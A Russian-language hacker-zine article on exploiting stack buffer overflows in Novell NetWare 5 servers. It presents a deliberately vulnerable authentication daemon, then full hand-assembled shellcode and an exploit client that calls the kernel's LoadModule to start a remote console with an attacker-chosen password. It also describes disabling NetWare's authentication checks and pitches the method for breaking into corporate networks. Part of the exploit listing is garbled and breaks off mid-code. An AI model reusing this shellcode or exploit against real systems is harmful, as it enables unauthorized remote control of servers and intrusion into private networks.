_ _:. :$$$$$ _ . - +. :l$││$$ s┐┐,,_ +:@QSSS$$$$$ `` $$$$$$$$bs┐.`"┘?$$$l [ New look at Novell Netware ] '└└?$$│$$$$b┐_ . [ without fucking "(tm)" ] `"└$│$b. . [ free_hunter ] `└?b. `. `┘. + `$ _. ` Начиная с пятой версии, novell netware имеет полноценную поддержку tcp/ip протокола, однако,несмотря на то,что она вышла аж в далеком 1998 году, и имеет достаточное количество разнообразных интернет сервисов, под нее не было написано ни одного эксплоита с выполнением произвольного кода. Во многом это связано с тем, что netware изначально создавалась как высокопроизводительный файловый сервер, в принципе она и сейчас является файловым сервером, но уже много более функциональным благодаря поддержке java, Х-сервера,различных сред разработки и тд. Немного о функциональном устройстве. Доступ к netware осуществляется либо как к файловому серверу, по собственному протоколу NCP(netware core protocol) с возможностью доступа к файловой системе create / delete / modify / etc, (также ncp содержит функции для управления пользователями, создания добавления изменения прав, изменения прав в файловой системы). Либо доступ осуществляется к консоли сервера с которой происходит запуск програм\модулей файлового сервера (nlm - newtware loadable module). Доступ к консоли возможен либо с клавиатуры, либо удаленно,если запущен модуль rconsole.nlm (при запуске также устанавливается пароль на удаленный доступ к консоли). В связи с особенностью архитектуры,при администрировании с консоли нет понятия уровней и привилегий доступа,имея доступ к консоли можно запускать и выгружать любые модули. Следовательно, в netware не имеет смысла локальное повышение прав (local root). При этом,однако,существуют так называемые ос user space и kernel space, в user подгружаются обычные модули, а kernel из себя представляет server.nlm с контрольными структурами, который разворачивается из server.exe при старте netware. Итак, рассмотрим возможность получения удаленного доступа к выполнению кода, т.е. к консоли, через некорректно написанный демон. Для компиляции используем watcom и заголовки из netware SDK. Простой демон под netware выглядит следующим образом : ---------------------------------------------------------------------- #define N_PLAT_WNT4 #define N_ARCH_32 #include #include #include #include #include #define PASSOK "NETWARE" int res=0; int authit(char *p){ char pass[32]; strcpy(pass,p+5); if (strncmp(pass,PASSOK,strlen(PASSOK))==0){res=1;}; // EnterDebugger(); return res; }; int main() { struct sockaddr addr; int addrlen; int s,s2; char auth[]="AUTH PLZ!\n"; char buf[256]; if((s=socket(AF_INET, SOCK_STREAM, 0))<0) { printf("socket err\n"); return -1; } addrlen=sizeof(addr); memset(&addr, 0, addrlen); addr.sa_family=AF_INET; memset(addr.sa_data,0,sizeof(addr.sa_data)); addr.sa_data[0]=0x07; //port 2000 addr.sa_data[1]=0xd0; printf("do bind\n"); if(bind(s, (struct sockaddr *)&addr, addrlen)){ printf("bind err\n"); return -1; }; printf("do listen\n"); if ( listen(s, 5) ) { printf("listen err\n"); return -1; }; printf("do accept\n"); while(1){ if((s2=accept(s, (struct sockaddr *)&addr, &addrlen))<0) { printf("accept\n"); return -1; } printf("client connected\n"); memset(buf,0,sizeof(buf)); send(s2,auth,sizeof(auth),0); recv(s2,buf,256,0); printf("USER DATA: %s",buf); if (strncmp(buf,"AUTH ",5)==0){ if (authit(buf)){ printf("AUTH PASSED !\n"); send(s2,"AUTH PASSED !\n",14,0); }else { printf("AUTH FAILED !\n"); send(s2,"AUTH FAILED !\n",14,0); }; }else{ printf("BAD protocol \n"); send(s2,"BAD protocol \n",14,0); }; close(s2); }; close(s); return 0; } ---------------------------------------------------------------------- Как видно, программирование под netware соответствует стандарту posix, с небольшими оговорками (sockaddr). Для входа в отладчик netware используется комбинация клавиш ctrl+alt+"+"+esc либо int3. При этом все процессы стопятся, так что удаленно это будет сделать проблематично. Описание формата модулей nlm можно посмотреть в [1]. При загрузке,которая осуществляется следующим образом: NOVELL: load nlm_name argv Динамически выделяется несколько страниц памяти, куда загружается модуль. При этом в netware используется защищенный режим с flat моделью, однако, в отличии от linux адресное пространство модулей не может пересекаться,т.е.каждый модуль загружается в случайную область памяти зарезервированную для user space address grown esp перед вызовом ret | | ...RETRET|RET|OURCODE.. для успешного результата, достаточно только точно знать размер буфера, чтоб сразу после сохраненного нового eip для ret, находился код, а не еще один адрес. Следующий шаг, создание кода для исполнения. Для этого необходимо разобраться с работой системных вызовов в netware. При использовании Си компилятора, все адреса настраиваются на вызов библиотеки, clib.nlm либо threads.nlm, которые каждый раз загружены по различным адресам. Например: fopen: push acces_perm // 4 push filename // 4 call clib.nlm|fopen add esp,00000008 // back stack Они в большинстве своем являются заглушками и выполняют различные проверки, перед тем как обратиться к соответствующей функции в server.nlm. В netware,как и в win32, не используются прерывания для вызова системы. Наиболее простой вариант это запустить модуль,rcong6.nlm, который поднимет удаленную консоль на выбранном порту и с выбранным паролем (задается через argv). После отладки и экспериментов была выбрана для этих целей функция server.nlm|LoadModule, которая находиться по постоянному адресу 0xfc047244 и вызывается следующим образом, "\x52" // push edx - NULL "\x53" // push ebx - argv c NULL в конце "\x50" // push eax - argv[0] modulename "\xb8\x44\x72\x04\xfc" // mov eax,0xfc047244 // loadmodule "\xff\xd0" // call eax Для корректного выхода после запуска необходимо узнать адрес функции threads.nlm|ExitThread. Для простоты можно найти в коде вызов exit, и его относительное смещение от начала кода, тогда после загрузки nlm, произойдет настройка адресов, и вызов будет сделан на нужный код. Адрес, по которому загружен модуль, в большинстве случаев храниться в куске стека, на который указывает ebp и который настраивается в процедуре _cstart, перед прыжком на main. В данном случае для сервера смещение на вызов exit равно 0x1ad. "\x4d" // dec ebp //ebp+0 null byte, use ebp+4 "\x4d" // dec ebp "\x4d" // dec ebp "\x4d" // dec ebp "\x8b\x45\x04" //mov eax,[ebp+4] "\x45" // inc ebp "\x45" // inc ebp "\x45" // inc ebp "\x45" // inc ebp //add eax,0x1ad "\xbb\xff\xff\xff\xff" //mov ebx,0xFFFFFFFF "\xb9\x52\xfe\xff\xff" //mov ecx,0xFFFFFE52 "\x29\xcb" //sub ebx,ecx "\x01\xd8" //add eax,ebx "\xff\xe0" //jmp eax Вот как будет выглядеть готовый эксплоит для этого демона: ---------------------------------------------------------------------- #define N_PLAT_WNT4 #define N_ARCH_32 #include #include #include #include #include #define DORET "\x85\x78\x42\xfc" #define BOFBUF 32 #define ALIGN 5 char payload[]= "\xba\xff\xff\xff\xff" // mov edx,0xffffffff "\x42" // inc edx "\x52" // push edx "\x68\x6e\x6c\x6d\x20" // push 0x206D6C6E //nlm "\x68\x61\x67\x36\x2e" // push 0x2E366761 //ag6. "\x68\x72\x63\x6f\x6e" // push 0x6E6F6372 //rcon "\x89\xe0" // mov eax,esp "\x52" // push edx "\x68\x36\x38\x30\x30" // push 0x30303836 //6800 "\x68\x34\x20\x20\x31" // push 0x31202034 //4 1 "\x68\x20\x32\x30\x33" // push 0x33303220 // 203 "\x68\x74\x65\x73\x74" // push 0x74736574 //test "\x68\x6e\x6c\x6d\x20" // push 0x206D6C6E //nlm "\x68\x61\x67\x36\x2e" // push 0x2E366761 //ag6. "\x68\x72\x63\x6f\x6e" // push 0x6E6F6372 //rcon "\x89\xe3" // mov ebx,esp "\x52" // push edx "\x53" // push ebx "\x50" // push eax "\xb8\x44\x72\x04\xfc" // mov eax,0xfc047244 // loadmodule "\xff\xd0" // call eax "\x4d" // dec ebp "\x4d" // dec ebp "\x4d" // dec ebp "\x4d" // dec ebp "\x8b\x45\x04" // mov eax,[ebp+4] "\x45" // inc ebp "\x45" // inc ebp "\x45" // inc ebp "\x45" // inc ebp //add eax,0x1ad "\xbb\xff\xff\xff\xff" //mov ebx,0xFFFFFFFF "\xb9\x52\xfe\xff\xff" //mov ecx,0xFFFFFE52 "\x29\xcb" //sub ebx,ecx "\x01\xd8" //add eax,ebx "\xff\xe0" //jmp eax ; int main() { struct sockaddr addr; int addrlen; int s,i; char tmpbuf[256]; char baf[256]="AUTH "; if((s=socket(AF_INET, SOCK_STREAM, 0))<0) { printf("socket#1"); return -1; } addrlen=sizeof(addr); memset(&addr, 0, addrlen); addr.sa_family=AF_INET; addr.sa_data[0]=0x07; //port addr.sa_data[1]=0xd0; addr.sa_data[2]=0xac; //address addr.sa_data[3]=0x11; addr.sa_data[4]=0x01; addr.sa_data[5]=0xfa; printf("do connecting..\n"); if( connect(s, (struct sockaddr *)&addr, addrlen) <0 ){ printf("connected#1\n"); return -1; }; printf("connect\n"); memset(tmpbuf,0,sizeof(tmpbuf)); recv(s,tmpbuf,256,0); printf("SRV ANSW: %s",tmpbuf); for (i=0;i74 f1 88 da 81 e2 ff 00 00 00 : c address = 75 Вставить данный поиск и выключение всей системы безопасности netware (после данного изменения достаточно знать лишь имя пользователя для успешной авторизации) в шеллкод не представляется возможным из-за невозможности поиска по всей памяти, так как при обращении к области памяти не принадлежащей данному модулю или ядру произойдет page fault exception и программа аварийно завершиться. Решением может быть установка SEH, доступ к таблице с адресами используемыми всеми модулями системы, через шеллкод или написанием специальной nlm. Адреса/шаблоны для других версий novell netware могут быть найдены в [3]. Если рассматривать уязвимости класса переполнения кучи, то можно однозначно сказать, что без получения дополнительных данных с системы (как например в openssl уязвимости) эксплуатация этого класса уязвимостей не возможна, вследствие того, что в алгоритме распределения кучи, структура чанка кучи такова, что содержит RED ZONE (4 байтовый указатель на 4кб границу страницы в которой выделяется память). Вместе с невозможностью предсказания, в какой области памяти будут выделяться данные, это дает надежную защиту от атак направленных на переполнение кучи.Однако даже если известен участок памяти,где находиться куча, это позволит лишь уменьшить на 1 или увеличить на размер очищаемого куска памяти несколько байт по любому адресу в системе. На случай если кого-нибудь заинтересовала проблема с кучей в netware, бонус содержит некоторые данные и исходники по этой проблеме :) Немного о том, в каких случаях может быть полезно, использовать переполнение буффера в netware,прежде всего это будет полезно для внедрения в корпоративные локальные сети, в которых по недосмотру оставили сервер видным из сети, или используют его в качестве pop3/smtp/web/ftp сервера :) в этом случае получение удаленной консоли на этом сервере позволить подгрузить socks/proxy сервер для дальнейшего проникновения в локальную сеть предприятия.Кроме того,с появлением поддержки tcp/ip, к функциям ncp можно обращаться через tcp/udp 524 порт, а следовательно, и подключать диски netware, не только находясь в томже сегменте ipx сети. Учитывая, так же, что ncp содержит уязвимость позволяющую неавторизированному пользователю получить список всех пользователей системы, (о чем можно прочитать в [4]), а также то, что сущеcтвет релизация ncpfs под linux[5], c возможностью соединения через 524 udp порт, то все это дает огромный простор для исследования творческим личностям :) [1] http://www.xs4all.nl/~itsme/projects/sources/nlm.c [2] http://www.phrack.org/show.php?p=55&a=15 [3] http://www.void.ru/content/875 [4] http://razor.bindview.com/tools/files/ncpquery-1.2.tgz [5] ftp://platan.vc.cvut.cz/pub/linux/ncpfs P.S. Упомянутые в статье названия зарегистрированных торговых марок Novell Netware corp. намеренно опускаются и игнорируются. PS2. Автор не несет ответственности^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H ^H^H^Hу абсолютно безразлично,кто,как и с какими целями будет использовать эту статью, а также наплевать на любые последствия, которые могут быть причинены. Автора тем не менее, просто бесят идиоты которые пишут всякую чушь об ответственности. don`t care be clever stay cool